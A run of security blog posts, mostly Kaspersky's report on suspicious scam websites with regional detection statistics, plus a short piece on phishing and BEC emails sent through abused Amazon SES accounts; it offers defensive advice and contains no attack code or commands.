This situation demonstrates that relying solely on built-in security mechanisms isn’t enough. Unfortunately, stealer developers are coming up with new workarounds faster than browser and operating system developers can roll out patches.

Here’s what users can do about it:

• Avoid installing programs from suspicious sources. This will minimize the chances of malware infiltrating your system.
• Learn how ClickFix attacks Lately, stealers have frequently been distributed using this specific malicious tactic.
• Keep your OS and software updated on all devices. Timely updates help patch many of the vulnerabilities that malware exploits.
• Install a robust security solution on all your devices. It’ll block suspicious activity in real time and alert you to potential threats.

As an added precaution, avoid storing passwords and bank card info in Google Chrome or your Notes app, as these are the first places any self-respecting stealer looks. Instead, use a secure password manager.

Stealers are hunting for your data, finding ways to infiltrate both computers and smartphones alike. To protect yourself from theft, check out our other related posts:

• Crypto thieves ramping up attacks on Apple users
• CrystalX RAT can flip your screen and steal your crypto
• Android Trojan posing as government services and Starlink apps
• Stealka stealer: the new face of game cheats, mods, and cracks
• Your cat pics are at risk: the threat posed by the new SparkKitty Trojan

Executive summary

• A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
• Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
• According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
• Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
• Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.

Introduction

The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.

Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.

Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.

The dangers of shady websites

One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.

Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.

Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.

Common types of suspicious sites

Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.

It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.

Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.

Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.

Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.

On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.

How to identify suspicious or fraudulent websites

Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.

Visual and manual clues

You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.

Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.

Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.

Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.

Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.

Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.

However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.

Technical indicators to check

Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.

One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.

Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.

Meanwhile, a reported suspicious online store was created a couple of months ago.

Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.

In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.

Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.

We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).

Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.

Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:

• Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
• HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
• X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
• X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
• Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.

These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.

You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.

You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.

Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.

You can check the configurations of DNS records either programmatically or by using an online service.

Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.

How to protect yourself

Tools and databases for detecting suspicious websites

We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:

• domain name and age,
• IP reputation,
• stability of the infrastructure used,
• DNS configurations,
• HTTP security headers,
• digital identity and popularity of the web resource.

Kaspersky has been certified as a provider of effective protective technology for fake shop detection.

When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:

This component is on by default.

Moreover, there are several online tools and databases that can help assess a website’s legitimacy:

• ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
• APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
• National government databases often maintain official lists of fraudulent or blacklisted domains.

Preventive measures

To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.

You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.

In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.

Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.

If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.

By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.

An overview of detection statistics for sites with an undefined trust level

To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.

Most visited suspicious sites

First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.

In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.

Percentage of the *a*o*.com domain detections by region, January 2026 (download)

This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.

The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.

Percentage of the *n*s*.com domain detections by region, January 2026 (download)

This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.

Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.

Percentage of the *w*a*.com domain detections by region, January 2026 (download)

This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).

The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).

In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).

The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).

The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).

Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).

Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.

Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.

Africa

Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)

The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.

In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.

MENA

Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)

In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.

Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.

The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.

In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.

Latin America

Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)

In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.

Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.

In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.

East Asia

Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)

In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.

In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.

Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.

East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.

South Asia

Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)

In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.

The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.

The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.

In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.

CIS

When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.

Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)

The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.

Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:

• *a*e*.online (8.42%): an online image editor that carries risks of data harvesting
• *n*a*.io (6.51%): a high-risk cryptocurrency trading platform
• *e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
• *s*o*.ltd (3.70%): a domain with an extremely low trust rating
• *s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game

The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.

The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.

Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)

The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.

Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.

Europe

Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)

In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.

Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.

A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.

Canada

Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)

Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.

The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.

Oceania

Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)

The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.

Conclusion

Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.

By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.

To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.

Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions of systems. Read our analysis.

The post Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years appeared first on Unit 42.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

